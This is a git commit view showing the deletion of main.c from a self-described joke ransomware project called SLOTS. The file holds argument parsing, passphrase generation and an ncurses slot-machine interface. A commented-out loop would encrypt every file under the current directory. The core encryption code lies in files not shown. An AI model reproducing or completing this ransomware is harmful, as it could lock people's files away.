summaryrefslogtreecommitdiff
path: root/src/main.c
diff options
context:
space:
mode:
author@syxhe <https://t.me/syxhe>2024-08-30 18:49:35 -0500
committer@syxhe <https://t.me/syxhe>2024-08-30 18:49:35 -0500
commit80ed3fd818905cb08ad04abc166a4b2c936955e3 (patch)
tree931a75ba8173fa1bc7678af28355fb5dc6e1ff42 /src/main.c
parent567d14881df3e405bd9f955c18978cf14ee4c12b (diff)
Rename main & get multithreading going
Diffstat (limited to 'src/main.c')
-rw-r--r--src/main.c207
1 files changed, 0 insertions, 207 deletions
diff --git a/src/main.c b/src/main.c
deleted file mode 100644
index 564846d..0000000
--- a/src/main.c
+++ /dev/null
@@ -1,207 +0,0 @@
1/***
2 * SLOTS - Feelin' Lucky?
3 *
4 * SLOTS is ransomware that uses (shitty) encryption to "encourage" the reluctant gambler. You get 3 free spins to get a jackpot, further spins "cost" money.
5 * This malware is meant primarily as a joke, not as something meant to damage someone's system. While it CAN damage someone's computer and lock their files away, it
6 * also prints out the key required to decrypt affected files if someone isn't too keen on losing their shit
7 *
8 *
9*/
10
11#define _GNU_SOURCE
12
13#include "main.h"
14
15#include "encryption.h"
16#include "search.h"
17#include "screen.h"
18#include "ll.h"
19
20#include <sodium.h>
21
22#include <sys/random.h>
23#include <sys/types.h>
24#include <sys/stat.h>
25#include <assert.h>
26#include <string.h>
27#include <unistd.h>
28#include <stdlib.h>
29#include <fcntl.h>
30#include <errno.h>
31#include <error.h>
32#include <argp.h>
33#include <time.h>
34
35#include <stdio.h>
36
37#define PHRASESIZE 32
38
39const char *argp_program_version = "Alpha-0.1";
40const char *argp_program_bug_address = "@syxhe on Telegram (https://t.me/syxhe)";
41
42static char doc[] = "lol";
43static char argdoc[] = "lmao";
44
45static struct argp_option options[] = {
46 {.name = "passphrase", .key = 'p', .arg = "key", .flags = 0, .doc = "Specify passphrase for encryption/decryption", .group = 0},
47 {"decrypt", 'd', 0, 0, "Skip the slots minigame and immediately decrypt (or encrypt) files", 0},
48 {"noencrypt", 'n', 0, 0, "Don't encrypt files when ran, just play slots", 0},
49 {0}
50};
51#define SKIPSLOTS 0x1
52#define SKIPENC 0x2
53
54struct arguments {
55 char *inputpass;
56 int flags;
57};
58
59static error_t parse_opt(int key, char *arg, struct argp_state *state) {
60 struct arguments *args = state->input;
61
62 switch(key) {
63 case 'p':
64 /* Specifying the start option of "-p=<phrase>" errors out unless this is done.
65 // Technically a user should use --passphrase=<phrase> if they want to use the = sign, but I think
66 // this is how it should work. RMS can suck it */
67 if(*arg == '=')
68 arg++;
69
70 args->inputpass = arg;
71 if(strlen(args->inputpass) != PHRASESIZE) {
72 error(1, 0, "Encryption passphrase must be exactly %d characters long", PHRASESIZE);
73 }
74 break;
75
76 case 'd':
77 args->flags |= SKIPSLOTS;
78 break;
79
80 case 'n':
81 args->flags |= SKIPENC;
82 break;
83
84 default:
85 return ARGP_ERR_UNKNOWN;
86 }
87
88 return 0;
89}
90
91static struct argp argp = {options, parse_opt, argdoc, doc, NULL, 0, 0};
92
93
94int genphrase(char *phrase, size_t phrasesize) {
95 memset(phrase, 0, phrasesize);
96 for(size_t i = 0; i < phrasesize; i++) {
97 phrase[i] = randombytes_uniform(('Z' - 'A') + 1) + 'A';
98 if(randombytes_random() > (0xffffffff / 2))
99 phrase[i] += ('a' - 'A');
100 }
101
102 return 0;
103}
104
105// roflmao fuck this project i'm too tired to bother with making it nice
106int doslots(struct bullshit *stuff) {
107 // I have no fucking clue why gcc complains that this isn't properly bracketed. Maybe im rarted
108 stuff->handler = (struct sigaction){
109 .sa_flags = SA_SIGINFO,
110 .sa_mask = SIGINT | SIGWINCH,
111 .sa_sigaction = catcher,
112 };
113 doinit(&stuff->handler);
114 docolors();
115
116 getmaxyx(stdscr, stuff->row, stuff->col);
117 stuff->randphrase = randombytes_uniform(STATIC_ARRSIZE(phrases) + 1);
118 stuff->banner = create_banner(stuff->col, stuff->randphrase);
119
120 init_items(stuff->items, menu_choices, STATIC_ARRSIZE(menu_choices), userfuncs);
121 stuff->menu = new_menu(stuff->items);
122 if(stuff->menu == NULL) {
123 endwin();
124 error(1, errno, "Could not create menu");
125 }
126
127 stuff->menuholder = newwin(1, stuff->col, stuff->row - 1, 0);
128 keypad(stuff->menuholder, TRUE);
129 init_custom_menu_format(stuff->menuholder, stuff->menu, (int []){1, stuff->col}, O_ONEVALUE | O_IGNORECASE, O_SHOWDESC | O_NONCYCLIC);
130
131 stuff->slots.slotwin = newwin(stuff->row - 2, stuff->col, 1, 0);
132 if(stuff->slots.slotwin == NULL) {
133 endwin();
134 error(1, errno, "[VX-GAMBLEGROUND] Could not create slots window");
135 }
136 init_slotholder(&stuff->slots);
137
138 doupdate();
139
140 stuff->params = (struct params){
141 .bannerwin = stuff->banner,
142 .menu = stuff->menu,
143 .menuholder = stuff->menuholder,
144 .numspins = 3,
145 .price = 1,
146 .slots = &stuff->slots,
147 };
148
149 handle_input(stuff->menuholder, stuff->menu, &stuff->params);
150
151 unpost_menu(stuff->menu);
152 free_menu(stuff->menu);
153 for(long unsigned int i = 0; i < STATIC_ARRSIZE(menu_choices); i++)
154 free_item(stuff->items[i]);
155
156 endwin();
157
158 return 0;
159}
160
161int main(int argc, char *argv[]) {
162 struct arguments args = {
163 .inputpass = NULL,
164 .flags = 0
165 };
166 argp_parse(&argp, argc, argv, ARGP_NO_ARGS, 0, &args);
167
168 if(args.flags == (SKIPENC | SKIPSLOTS))
169 error(1, 0, "[VX-GAMBLEGROUND] You want to skip the slots, and the encryption? Ok, sure");
170
171 struct bullshit stuff;
172 doslots(&stuff);
173
174 // if(args.inputpass != NULL) {
175 // printf("Using input passphrase \"%s\"\n", args.inputpass);
176 // } else {
177 // char phrase[PHRASESIZE];
178 // genphrase(phrase, PHRASESIZE);
179
180 // printf("Encryption phrase: %s\n\nWrite this phrase down EXACTLY if you want to recover your files\n", phrase);
181
182 // if(args.flags & SKIPSLOTS != 0) {
183 // printf("Hit Enter to contine, or CTRL+C to cancel...");
184 // getchar();
185 // }
186 // }
187
188 /* Get files
189 struct nodelist *files = scanfiles("./", alphasort);
190
191 // Encrypt those files
192 for(struct nodelist *p = files; p != NULL; p = p->next) {
193 int fd = open(p->fullpath, O_RDWR);
194 if(fd < 0) {
195 error(0, errno, "Couldn't open file \"%s\" for some reason", p->fullpath);
196 continue;
197 }
198
199 passencblock(fd, phrase);
200 close(fd);
201 }
202
203 nodelist_delete(files);
204 //*/
205
206 return 0;
207} \ No newline at end of file